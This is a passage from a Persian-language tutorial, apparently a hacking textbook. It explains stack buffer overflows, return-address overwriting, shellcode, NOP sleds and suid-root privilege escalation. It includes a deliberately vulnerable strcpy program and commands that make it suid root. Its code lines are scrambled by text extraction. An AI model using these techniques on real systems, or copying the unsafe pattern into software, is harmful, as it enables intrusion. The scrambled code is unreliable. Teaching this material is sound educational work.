دﯾﮕﺮی ﮐﻪ ﺑﻌﺪ از ﺑﺎﻓﺮ در ﻓﻀﺎی ﺣﺎﻓﻈﻪ ﻗﺮار دارﻧﺪ ﺳﺮرﯾﺰ ﻣﯽ ﮐﻨﺪ .ﻧﺘﺎﯾﺞ اﯾﻦ ﻋﻤﻞ را در زﯾﺮ ﻣﯽ ﺑﯿﻨﯿﺪ:
$ gcc -o overflow overflow.c
$ ./overflow
Segmentation fault
$
ﻧﺘﯿﺠﻪ اﯾﻦ ﺳﺮرﯾﺰ ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ اﺳﺖ .اﯾﻦ ﻧﻮع ﺧﻄﺎﻫﺎ ﻣﻌﻤﻮل ﻫﺴﺘﻨﺪ و اﮔﺮ ﺑﺮﻧﺎﻣﻪ ﻧـﻮﯾﺲ ﻃـﻮل ورودی را ﺑﺪاﻧـﺪ
ﺑﺮاﺣﺘﯽ ﻗﺎﺑﻞ رﻓﻊ ﻣﯽ ﺑﺎﺷﻨﺪ .اﻏﻠﺐ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﭘﯿﺶ ﺑﯿﻨﯽ ﻣﯽ ﮐﻨﺪ ﮐﻪ ﯾﮏ ﮐﺎرﺑﺮ ﻣﺸﺨﺺ ﻫﻤﯿﺸﻪ ﯾﮏ ورودی ﺑـﺎ ﻃـﻮل
ﻣﺸﺨﺺ را وارد ﻣﯽ ﮐﻨﺪ و اﯾﻦ ﻓﺮض را ﺳﺮﻟﻮﺣﻪ ﮐﺎر ﺧﻮد ﻗﺮار ﻣﯽ دﻫﺪ .اﻣﺎ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻗﺒﻼ ﮔﻔﺘﯿﻢ ،ﻋﻠﻢ ﻫﮑﯿﻨﮓ ﻓﮑﺮ
ﮐﺮدن راﺟﻊ ﺑﻪ ﻣﻮاردی اﺳﺖ ﮐﻪ ﻫﯿﭻ ﮔﺎه راﺟﻊ ﺑﻪ آﻧﻬﺎ ﻓﮑﺮی ﻧﺸﺪه ﯾﺎ ﻓﺮﺿﯽ اراﺋﻪ ﻧﮕﺸﺘﻪ اﺳﺖ .ﻟﺬا ﻫﺮ ﻫﻨﮕﺎم ﮐﻪ ﯾـﮏ
ﻧﻔﻮذﮔﺮ ﺗﺼﻤﯿﻢ ﺑﻪ وارد ﮐﺮدن ﻫﺰار ﮐﺎراﮐﺘﺮ در ﯾﮏ ﻓﯿﻠﺪ ﮐﻨﺪ ﮐﻪ ﺗﻨﻬﺎ ﭼﻨﺪﯾﻦ ﮐﺎراﮐﺘﺮ ﺑﺮای آن ﻧﯿـﺎز ﺑﺎﺷـﺪ )ﻣﺜـﻞ ﻓﯿﻠـﺪ
،(user nameﻣﻤﮑﻦ اﺳﺖ ﺳﺒﺐ ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ای ﺷﻮد ﮐﻪ ﭼﻨﺪﯾﻦ ﺳﺎل ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﺮده اﺳﺖ.
ﺑﻨﺎﺑﺮاﯾﻦ ﯾﮏ ﻫﮑﺮ ﺑﺎﻫﻮش ﺑﺎ وارد ﮐﺮدن ﻣﻘﺎدﯾﺮ ﻏﯿﺮﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨﯽ )ﮐﻪ ﻣـﺴﺒﺐ ﺳـﺮرﯾﺰ ﺑـﺎﻓﺮ ﻫـﺴﺘﻨﺪ( ﻣﯿﺘﻮاﻧـﺪ ﺳـﺒﺐ
ﮐﺮش ﮐﺮدن ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺷﻮد .اﻣﺎ ﭼﮕﻮﻧﻪ ﻣﯽ ﺗﻮان از اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﺮای ﮐﻨﺘﺮل ﺑﺮﻧﺎﻣﻪ اﺳـﺘﻔﺎده ﮐـﺮد؟ ﺟـﻮاب در ﺑﺮرﺳـﯽ
داده ﻫﺎی ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه ﯾﺎﻓﺖ ﻣﯽ ﺷﻮد!
ﺑﺎ ﻣﺮاﺟﻌﻪ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﺳﺮرﯾﺰ ﺷﻮﻧﺪه ﻗﺒﻠﯽ ) ،(overflow.cدر زﻣﺎن ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )( ،overflow_functionﯾـﮏ ﻗـﺎب
ﭘﺸﺘﻪ روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺗﺎﺑﻊ در اﺑﺘﺪا ﻓﺮاﺧﻮاﻧﯽ ﺷﻮد ،ﻗﺎب ﭘﺸﺘﻪ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ ﺗﺼﻮﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد:
اﻣﺎ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺗﺎﺑﻊ ﺳﻌﯽ ﺑﺮ ﻧﻮﺷﺘﻦ 128ﺑﺎﯾﺖ داده در ﯾﮏ ﺑﺎﻓﺮ 20ﺑﺎﯾﺘﯽ ﻣﯽ ﮐﻨﺪ 108 ،ﺑﺎﯾﺖ اﺿﺎﻓﯽ ﺳـﺮرﯾﺰ ﮐـﺮده و
اﺷﺎرﮔﺮ ﻗﺎب ﭘﺸﺘﻪ ،آدرس ﺑﺮﮔﺸﺖ و اﺷﺎرﮔﺮ ) strآرﮔﻮﻣﺎن ﺗﺎﺑﻊ( را ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮐﻨﺪ .ﺳﭙﺲ ﺑﻪ ﻣﺤﺾ ﭘﺎﯾـﺎن ﯾـﺎﻓﺘﻦ
ﺗﺎﺑﻊ ،ﺑﺮﻧﺎﻣﻪ ﺳﻌﯽ در ﭘﺮﯾﺪن ﺑﻪ آدرس ﺑﺮﮔﺸﺖ ﮐﻪ اﮐﻨﻮن ﺑﺎ ﮐﺎراﮐﺘﺮﻫﺎی ) Aﺑﺎ ﻣﻌـﺎدل ﻫﮕﺰادﺳـﯿﻤﺎل (0x41ﭘـﺮ ﺷـﺪه
اﺳﺖ ﻣﯽ ﮐﻨﺪ .ﺑﺮﻧﺎﻣﻪ ﺳﻌﯽ در ﺑﺎزﮔﺸﺖ ﺑﻪ اﯾﻦ آدرس ﻣﯽ ﮐﻨﺪ ،ﻟﺬا ﻣﻘﺪار EIPﺑﺮاﺑﺮ ﺑﺎ 0x41414141ﻣـﯽ ﺷـﻮد .اﯾـﻦ
ﻣﻘﺪار اﺻﻮﻻ ﯾﮏ آدرس ﺗﺼﺎدﻓﯽ اﺳﺖ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﯾﮏ ﻓﻀﺎی ﺣﺎﻓﻈﻪ ای اﺷﺘﺒﺎه ﺑﺎﺷﺪ ﯾﺎ ﺣﺎوی دﺳﺘﻮرات ﻏﯿﺮﻣﻌﺘﺒـﺮ
ﺑﺎﺷﺪ ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﺳﺒﺐ ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﮔﺮدد .اﯾﻦ ﻓﺮآﯾﻨﺪ را ﺑﻪ دﻟﯿﻞ رﺧﺪاد ﺳـﺮرﯾﺰ در ﻗﻄﻌـﻪ ﺣﺎﻓﻈـﻪ ایِ ﭘـﺸﺘﻪ،
اﺻﻄﻼﺣﺎ ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ) (stack-based overflowﻣﯽ ﻧﺎﻣﻨﺪ.
25
ﻣﻤﮑﻦ اﺳﺖ در دﯾﮕﺮ ﻗﻄﻌﺎت ﺣﺎﻓﻈﻪ از ﻗﺒﯿﻞ heapو BSSﻧﯿﺰ ﺳـﺮرﯾﺰ رخ دﻫـﺪ .اﻣـﺎ ﺟﺎﯾﻨﻮﯾـﺴﯽ آدرس ﺑﺮﮔـﺸﺖ در
ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ﻣﺴﺌﻠﻪ ای اﺳﺖ ﮐﻪ آﻧﺮا ﺳﻠﯿﺲ و ﺟﺎﻟﺐ ﻣﯽ ﺳﺎزد و ﺗﻨﻬﺎ دﻟﯿﻞ اﺻﻠﯽ ﮐﺮش ﮐﺮدن ﯾﮏ ﺑﺮﻧﺎﻣﻪ
در اﯾﻦ ﻧﻮع ﺣﻤﻠﻪ اﺳﺖ .اﮔﺮ آدرس ﺑﺮﮔﺸﺖ ﺑﻪ آدرﺳﯽ ﻏﯿﺮ از 0x41414141ﺟﺎﯾﻨﻮﯾﺴﯽ و ﮐﻨﺘـﺮل ﻣـﯽ ﺷـﺪ )ﻣـﺜﻼ ﺑـﻪ
آدرس ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ اﺟﺮاﯾﯽ ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﻓﺖ( ،آﻧﮕﺎه ﺑﺠﺎی ﮐﺮش ﺷﺪن ،ﺑﺮﻧﺎﻣﻪ ﭘﺲ از ﭘﺎﯾﺎن اﺟﺮا "ﺑـﺮ ﻣـﯽ ﮔـﺮدد" و
آن ﮐﺪ را اﺟﺮا ﻣﯽ ﮐﻨﺪ .اﮔﺮ داده ای ﮐﻪ در آدرس ﺑﺮﮔﺸﺖ ﺳﺮرﯾﺰ ﻣﯽ ﺷﻮد ﻣﺒﺘﻨﯽ ﺑﺮ ورودی ﮐﺎرﺑﺮ ﺑﺎﺷﺪ )ﻣـﺜﻼ ﻣﻘـﺪار
وارد ﺷﺪه در ﯾﮏ ﻓﯿﻠﺪ ،(usernameدر آن ﺻﻮرت ﮐﺎرﺑﺮ ﻗﺎدر ﺑﻪ ﮐﻨﺘﺮل آدرس ﺑﺮﮔﺸﺖ و ﻣﺘﻌﺎﻗﺐ آن ،روﻧﺪ اﺟﺮاﯾـﯽ
ﺑﺮﻧﺎﻣﻪ ﺧﻮاﻫﺪ ﺑﻮد.
ﭼﻮن ﺑﻮاﺳﻄﻪ ﺳﺮرﯾﺰ ﮐﺮدن ﺑﺎﻓﺮﻫﺎ دﺳﺘﮑﺎری آدرس ﺑﺮﮔﺸﺖ ﺟﻬﺖ ﺗﻐﯿﯿﺮ روﻧﺪ اﺟﺮاﯾﯽ اﻣﮑﺎن ﭘﺬﯾﺮ ﻣﯿـﺸﻮد ،ﻟـﺬا ﻓﻘـﻂ
ﺑﺎﯾﺪ ﯾﮏ ﭼﯿﺰ ﻣﻔﯿﺪ را اﺟﺮا ﮐﻨﯿﻢ .اﯾﻨﺠﺎﺳﺖ ﮐﻪ ﺗﺰرﯾﻖ ﺑﺎﯾﺖ-ﮐﺪ ) (bytecode injectionﺑﻪ ﺻﺤﻨﻪ وارد ﻣﯽ ﺷﻮد .ﺑﺎﯾﺖ
ﮐﺪ ،ﺗﻨﻬﺎ ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ اﺳﻤﺒﻠﯽ ﺑﺎ ﻃﺮاﺣﯽ ﻫﻮﺷﯿﺎراﻧﻪ و ﺧـﻮد-ﻣﺤﺘـﻮا ) (self-containedاﺳـﺖ ﮐـﻪ ﻣـﯽ ﺗـﻮان آﻧـﺮا در
ﺑﺎﻓﺮﻫﺎ ﺗﺰرﯾﻖ ﮐﺮد .ﭼﻨﺪ ﻣﺤﺪودﯾﺖ در ﺑﺎﯾﺖ ﮐﺪ وﺟﻮد دارد :ﻧﺨﺴﺖ اﯾﻨﮑﻪ ﺑﺎﯾﺪ ﺧﻮد-ﻣﺤﺘﻮا ﺑﺎﺷـﺪ و دوم اﯾﻨﮑـﻪ ﺑﺎﯾـﺪ از
وﺟﻮد ﮐﺎراﮐﺘﺮﻫﺎی ﺧﺎﺻﯽ در آن ﭘﺮﻫﯿﺰ ﮐﺮد ،ﭼﺮا ﮐﻪ اﯾﻦ دﺳﺘﻮرات ﺑﻪ ﻋﻨﻮان داده در ﺑﺎﻓﺮﻫﺎ ﻓﺮض ﻣﯽ ﺷﻮﻧﺪ.
راﯾﺞ ﺗﺮﯾﻦ ﮔﻮﻧﻪ ﺑﺎﯾﺖ ﮐﺪ ﺗﺤﺖ ﻧﺎم ﺷﻞ-ﮐﺪ ) (shellcodeﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد .ﺷﻞ-ﮐﺪ ﻧﻮﻋﯽ ﺑﺎﯾـﺖ-ﮐـﺪ اﺳـﺖ ﮐـﻪ ﯾـﮏ
ﭘﻮﺳﺘﻪ ) (shellرا ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ .اﮔﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ suid rootدر اﺟـﺮای ﺷـﻞ-ﮐـﺪ ﻓﺮﯾـﺐ ﺑﺒﯿﻨـﺪ ،ﻧﻔـﻮذﮔﺮ ﯾـﮏ ﭘﻮﺳـﺘﻪ
ﮐﺎرﺑﺮی ﺑﺎ ﺳﻄﺢ اﺧﺘﯿﺎر رﯾﺸﻪ ﺧﻮاﻫﺪ داﺷﺖ .در ﺻﻮرﺗﯽ ﮐﻪ ﺳﯿﺴﺘﻢ ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺮﻧﺎﻣﻪ suid rootﮐﺎری را اﻧﺠـﺎم
ﻣﯽ دﻫﺪ ﮐﻪ ﺑﻮده اﺳﺖ .ﻣﺜﺎﻟﯽ را در زﯾﺮ ﻣﯽ ﺑﯿﻨﯿﺪ:
vuln.c code
)][int main(int argc, char *argv
{
;]char buffer[500
;)]strcpy(buffer, argv[1
;return 0
}
اﯾﻦ ﮐﺪ ﻗﻄﻌﻪ ای از ﯾﮏ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و ﺷﺒﯿﻪ ﺑﻪ ﺗﺎﺑﻊ )( overflow_functionﮐﻪ در ﻗﺒﻞ ﻣﻄﺮح ﺷﺪ اﺳـﺖ ،ﭼـﺮا
ﮐﻪ ﯾﮏ آرﮔﻮﻣﺎن واﺣﺪ را درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﺪ ،ﺳﭙﺲ آرﮔﻮﻣﺎن ﻣﺤﺘﻮای ﻫﺮ ﭼﻪ ﮐﻪ ﺑﺎﺷﺪ )ﺑـﺎ ﻫـﺮ اﻧـﺪازه ای( در ﯾـﮏ ﺑـﺎﻓﺮ
500ﺑﺎﯾﺘﯽ ﻗﺮار ﻣﯽ ﮔﯿﺮد .ﻧﺘﯿﺠﻪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ زﯾﺮ را ﻣﯽ ﺑﯿﻨﯿﺪ:
$ gcc -o vuln vuln.c
$ ./vuln test
ﺑﺮﻧﺎﻣﻪ ﻋﻤﻼ ﮐﺎری ﻏﯿﺮ از اداره ﻧﺎﺻﺤﯿﺢ ﺣﺎﻓﻈﻪ اﻧﺠﺎم ﻧﻤﯽ دﻫﺪ .اﮐﻨﻮن ﺑﺮای آﺳﯿﺐ ﭘﺬﯾﺮ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﺪ ﻣﺎﻟﯿـﺖ آﻧـﺮا
ﺑﻪ ﮐﺎرﺑﺮ رﯾﺸﻪ ﺗﻐﯿﯿﺮ داده و ﺑﯿﺖِ ﻣﺠﻮز suidرا ﺑﺮای ﺑﺎﯾﻨﺮی ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه ﻓﻌﺎل ﮐﻨﯿﻢ:
$ sudo chown root vuln
$ sudo chmod +s vuln
$ ls -l vuln
-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vuln
اﮐﻨﻮن ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻣﺎ ﯾﮏ suid rootاﺳﺖ و در ﻣﻘﺎﺑﻞ ﺳﺮرﯾﺰ ﺑﺎﻓﺮ آﺳﯿﺐ ﭘﺬﯾﺮ ﻣﯽ ﺑﺎﺷـﺪ ،ﻟـﺬا ﻓﻘـﻂ ﺑـﻪ ﺗﮑـﻪ ﮐـﺪی ﻧﯿـﺎز
دارﯾﻢ ﮐﻪ ﺑﺎﻓﺮی را ﺗﻮﻟﯿﺪ ﮐﻨﺪ ﮐﻪ ﺑﺘﻮان ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ داد .اﯾﻦ ﺑـﺎﻓﺮ ﺑﺎﯾـﺪ ﺣـﺎوی ﺷـﻞ-ﮐـﺪ ﻣـﻮرد ﻧﻈـﺮ ﺑﺎﺷـﺪ و
ﺑﺎﯾﺴﺘﯽ آدرس ﺑﺮﮔﺸﺖ را در ﭘﺸﺘﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﺪ ﺑﻄﻮرﯾﮑﻪ ﺷﻞ-ﮐﺪ اﺟﺮا ﮔﺮدد .ﺑﻪ اﯾﻦ ﺻﻮرت آدرس واﻗﻌـﯽ ﺷـﻞ-
ﮐﺪ ﺑﺎﯾﺪ ﺑﺮای ﻧﻔﻮذﮔﺮ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ ﮐﻪ ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ ﺗﻐﯿﯿﺮ ﭘﻮﯾﺎی داﺋﻤﯽ ﭘﺸﺘﻪ ﮐﺎر دﺷـﻮاری اﺳـﺖ .ذﮐـﺮ اﯾـﻦ
ﻧﮑﺘﻪ ﻧﯿﺰ ﺑﻪ دﺷﻮاری وﺿﻌﯿﺖ اﺿﺎﻓﻪ ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺎﯾﺪ ﭼﻬﺎر ﺑﺎﯾﺘﯽ ﮐﻪ آدرس ﺑﺮﮔﺸﺖ در آﻧﺠﺎ در ﻗﺎب ﭘﺸﺘﻪ ذﺧﯿﺮه ﺷﺪه
اﺳﺖ ﻧﯿﺰ ﺑﺎ اﯾﻦ ﻣﻘﺪار ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد .ﺣﺘﯽ اﮔﺮ آدرس دﻗﯿﻖ ﻧﯿﺰ ﺷﻨﺎﺧﺘﻪ ﺷـﺪه ﺑﺎﺷـﺪ اﻣـﺎ ﻣﮑـﺎن ﺻـﺤﯿﺤﯽ ﺟﺎﯾﻨﻮﯾـﺴﯽ
ﻧﮕﺮدد ،ﺑﺮﻧﺎﻣﻪ ﮐﺮش ﺧﻮاﻫﺪ ﮐﺮد .دو ﺗﮑﻨﯿﮏ ﻣﻌﻤﻮﻻ در ﭼﻨﯿﻦ ﻣﻮاردی ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮﻧﺪ.
26
اوﻟﯿﻦ ﺗﮑﻨﯿﮏ ﺗﺤﺖ ﻋﻨﻮان ﺳﻮرﺗﻤﻪ 31NOPﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷـﻮد .دﺳـﺘﻮر NOPﮐـﻪ ﻣﺨﻔـﻒ ﻋﺒـﺎرت NO Operation
اﺳﺖ ،ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺎم آن ﻧﯿﺰ ﮔﻮﯾﺎﺳﺖ ،ﻋﻤﻼ ﮐﺎری اﻧﺠﺎم ﻧﻤﯽ دﻫﺪ )ﺗﻨﻬﺎ اﺷﺎرﮔﺮ دﺳﺘﻮر را ﯾﮏ ﺧﺎﻧﻪ در ﺣﺎﻓﻈﻪ ﺑﻪ ﺟﻠﻮ
ﻣﯽ رود( .اﯾﻦ دﺳﺘﻮر ﮔﺎﻫﯽ ﻣﻮاﻗﻊ در راﺳﺘﺎی ﻣﻘﺎﺻﺪ زﻣﺎن ﺑﻨﺪی ﺑﺮای ﺗﻀﯿﯿﻊ ﭼﺮﺧﻪ ﻫﺎی ﻣﺤﺎﺳﺒﺎﺗﯽ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد
ﮐﻪ در ﭘﺮدازﻧﺪه ﻫﺎی Sparcﺑﺮای ﻟﻮﻟﻪ ﺑﻨﺪی دﺳﺘﻮر ) (instruction pipeliningﺿﺮوری ﻫﺴﺘﻨﺪ .اﻣﺎ در ﮐـﺎر ﻣـﺎ در
اﯾﻦ ﻣﻮرد ،اﯾﻦ دﺳﺘﻮرات NOPﺑﺮای ﻫﺪف دﯾﮕﺮی اﺳﺘﻔﺎده ﻣﯽ ﺷـﻮﻧﺪ .ﺑـﺎ اﯾﺠـﺎد ﯾـﮏ آراﯾـﻪ ﺑـﺰرگ )ﯾـﺎ ﺳـﻮرﺗﻤﻪ( از
دﺳﺘﻮرات NOPو ﻗﺮار دادن آﻧﻬﺎ ﻗﺒﻞ از ﺷﻞ-ﮐﺪ ،اﮔﺮ EIPﺑﻪ ﻫﺮ آدرﺳﯽ در ﺳﻮرﺗﻤﻪ NOPرﺟﻮع ﮐﻨﺪ ،ﺑﺎ اﺟﺮای ﻫﺮ
دﺳﺘﻮر NOPدر واﺣﺪ زﻣﺎن ،ﺑﻪ ﻣﻘﺪار EIPاﺿﺎﻓﻪ ﻣﯽ ﺷﻮد ﺗﺎ اﯾﻨﮑﻪ اﺟﺮای دﺳﺘﻮرات ﺑﻪ ﺷﻞ-ﮐﺪ ﺑﺮﺳﺪ .ﯾﻌﻨـﯽ ﻣـﺎداﻣﯽ
ﮐﻪ آدرس ﺑﺮﮔﺸﺖ ﺑﺎ ﻫﺮ ﯾﮏ از آدرﺳﻬﺎی ﺳﻮرﺗﻤﻪ NOPﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد ،اﯾﻦ ﺳـﻮرﺗﻤﻪ ﻣﻘـﺪار EIPرا ﺑـﻪ ﺷـﻞ-ﮐـﺪ
ﻟﻐﺰش ﻣﯽ دﻫﺪ 32و ﻧﻬﺎﯾﺘﺎ ﺑﺎ رﺳﯿﺪن ﺑﻪ ﺷﻞ-ﮐﺪ ﺑﻪ درﺳﺘﯽ اﺟﺮا ﻣﯽ ﮔﺮدد.
ﺗﮑﻨﯿﮏ دوم ،ﻏﺮﻗﻪ ﺳﺎزی ) (floodingاﻧﺘﻬﺎی ﺑﺎﻓﺮ ﺑﺎ ﺗﻌﺪاد زﯾﺎدی از ﻧﻤﻮﻧـﻪ ﻫـﺎی ﻣﺘـﻮاﻟﯽ از آدرس ﺑﺮﮔـﺸﺖ ﻣﻄﻠـﻮب
اﺳﺖ .در اﯾﻦ ﺷﺮاﯾﻂ اﮔﺮ ﯾﮑﯽ از اﯾﻦ آدرس ﻫﺎی ﺑﺮﮔﺸﺖ ،آدرس ﺑﺮﮔﺸﺖ واﻗﻌﯽ را ﺟﺎﯾﻨﻮﯾـﺴﯽ ﮐﻨـﺪ ،اﮐـﺴﭙﻠﻮﯾﺖ ﺑـﻪ
ﻃﺮز ﻣﻄﻠﻮب ﻣﺎ ﮐﺎر ﺧﻮاﻫﺪ ﮐﺮد .در زﯾﺮ ﻧﻤﺎﯾﺸﯽ از ﯾﮏ ﺑﺎﻓﺮ ﺷﻨﺎور ) 33(craftedرا ﻣﯽ ﺑﯿﻨﯿﺪ:
ﺣﺘﯽ ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ دو ﺗﮑﻨﯿﮏ ﻧﯿﺰ داﻧﺴﺘﻦ ﻣﮑﺎن ﺗﻘﺮﯾﺒﯽ ﺑﺎﻓﺮ در ﺣﺎﻓﻈﻪ ﺟﻬﺖ ﺣـﺪس آدرس ﺑﺮﮔـﺸﺖ ﺻـﺤﯿﺢ ﻻزم
اﺳﺖ .ﯾﮏ ﺗﮑﻨﯿﮏ ﺑﺮای ﺗﻘﺮﯾﺐ زدن ﻣﮑﺎن ﺣﺎﻓﻈﻪ ای اﺳﺘﻔﺎده از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠﯽ ﺑـﻪ ﻋﻨـﻮان ﯾـﮏ راﻫﻨﻤـﺎ اﺳـﺖ .ﺑـﺎ
ﮐﺎﺳﺘﻦ ﯾﮏ آﻓﺴﺖ از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻣﯽ ﺗﻮان آدرس ﻧﺴﺒﯽ ﻫﺮ ﻣﺘﻐﯿﺮ را ﺑﺪﺳﺖ آورد .ﭼﻮن در اﯾﻦ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘـﺬﯾﺮ
اوﻟﯿﻦ ﻋﻨﺼﺮ روی ﭘﺸﺘﻪ ﺑﺎﻓﺮی اﺳﺖ ﮐﻪ ﺷﻞ-ﮐﺪ در آن ﻗﺮار ﻣﯽ ﮔﯿﺮد ،ﻟﺬا آدرس ﺑﺮﮔـﺸﺖ ﻣﻨﺎﺳـﺐ ﺑﺮاﺑـﺮ ﺑـﺎ اﺷـﺎرﮔﺮ
ﭘﺸﺘﻪ ﺧﻮاﻫﺪ ﺑﻮد ،ﯾﻌﻨﯽ ﻣﻘﺪار آﻓﺴﺖ در اﯾﻦ ﻣﻮرد ﻧﺰدﯾﮏ ﺑﻪ ﻋﺪد ﺻﻔﺮ اﺳﺖ .ﺑﻪ ﻫﻨﮕﺎم اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣـﻪ ﻫـﺎی
ﭘﯿﭽﯿﺪه ﺗﺮ ﮐﻪ اﯾﻦ آﻓﺴﺖ در آﻧﻬﺎ ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﻧﯿﺴﺖ ،اﺳﺘﻔﺎده از ﺳﻮرﺗﻤﻪ NOPﺑﻪ ﻃﻮر ﻣﻮﺛﺮی ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد.
در زﯾﺮ ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻣﺮﺑﻮﻃﻪ را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ ﮐﻪ ﺟﻬﺖ اﯾﺠﺎد ﯾﮏ ﺑﺎﻓﺮ و دادن آن ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘـﺬﯾﺮ ﻃﺮاﺣـﯽ
ﮔﺸﺘﻪ اﺳﺖ .ﺑﺎ اﯾﻦ ﮐﺎر در زﻣﺎن ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺗﻮان ﺷﻞ-ﮐﺪ ﺗﺰرﯾﻖ ﺷﺪه را اﺟﺮا ﮐﺮد و ﻣﺎﻧﻊ از ﮐﺮش ﮐـﺮدن
ﺑﺮﻧﺎﻣﻪ ﺷﺪ .ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻧﺨﺴﺖ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠﯽ را ﮔﺮﻓﺘﻪ و ﯾﮏ آﻓﺴﺖ را از آن ﮐﻢ ﻣﯽ ﮐﻨﺪ .در اﯾﻦ ﻣﻮرد آﻓﺴﺖ
ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ اﺳﺖ .ﺳﭙﺲ ﺑﺮای ﺑﺎﻓﺮ ﺣﺎﻓﻈﻪ ای )روی (heapﺗﺨﺼﯿﺺ ﻣﯽ ﯾﺎﺑﺪ و ﮐﻞ ﺑـﺎﻓﺮ ﺑـﺎ آدرس ﺑﺮﮔـﺸﺖ ﭘـﺮ ﻣـﯽ
ﺷﻮد .در ﻗﺪم ﺑﻌﺪی ﺟﻬﺖ اﯾﺠﺎد ﺳﻮرﺗﻤﻪ 200 ،NOPﺑﺎﯾﺖ ﻧﺨﺴﺖ از ﺑﺎﻓﺮ ﺑﺎ ﻣﻘـﺎدﯾﺮ NOPﭘـﺮ ﺷـﺪه )دﺳـﺘﻮر NOP
ﺑﺮای ﭘﺮدازﻧﺪه x86ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﻣﻌﺎدل ﺑﺎ 0x90اﺳﺖ( و ﺷﻞ-ﮐﺪ ﻧﯿﺰ ﺑﻌﺪ از ﺳﻮرﺗﻤﻪ NOPﻗﺮار ﻣﯽ ﮔﯿﺮد و ﺑﺎﯾـﺖ
ﻫﺎی ﺑﺎﻗﯿﻤﺎﻧﺪه در اﻧﺘﻬﺎی ﺑﺎﻓﺮ ﮐﻪ از ﻗﺒﻞ ﺑﺎ آدرس ﺑﺮﮔﺸﺖ ﭘﺮ ﺷﺪه ﺑﻮدﻧﺪ ﻧﯿﺰ ﺑﻪ ﻫﻤﺎن ﺻـﻮرت ﺑـﺎﻗﯽ ﻣـﯽ ﻣﺎﻧﻨـﺪ .ﭼـﻮن
اﻧﺘﻬﺎی ﯾﮏ ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﯾﺎ 0ﺗﻌﯿﯿﻦ ﻣﯽ ﺷﻮد ،ﻟﺬا ﺑﺎﻓﺮ ﺑﺎ ﻣﻘﺪار 0ﺧﺎﺗﻤﻪ ﻣﯽ ﯾﺎﺑﺪ .در ﻧﻬﺎﯾﺖ ﺗـﺎﺑﻊ دﯾﮕـﺮی
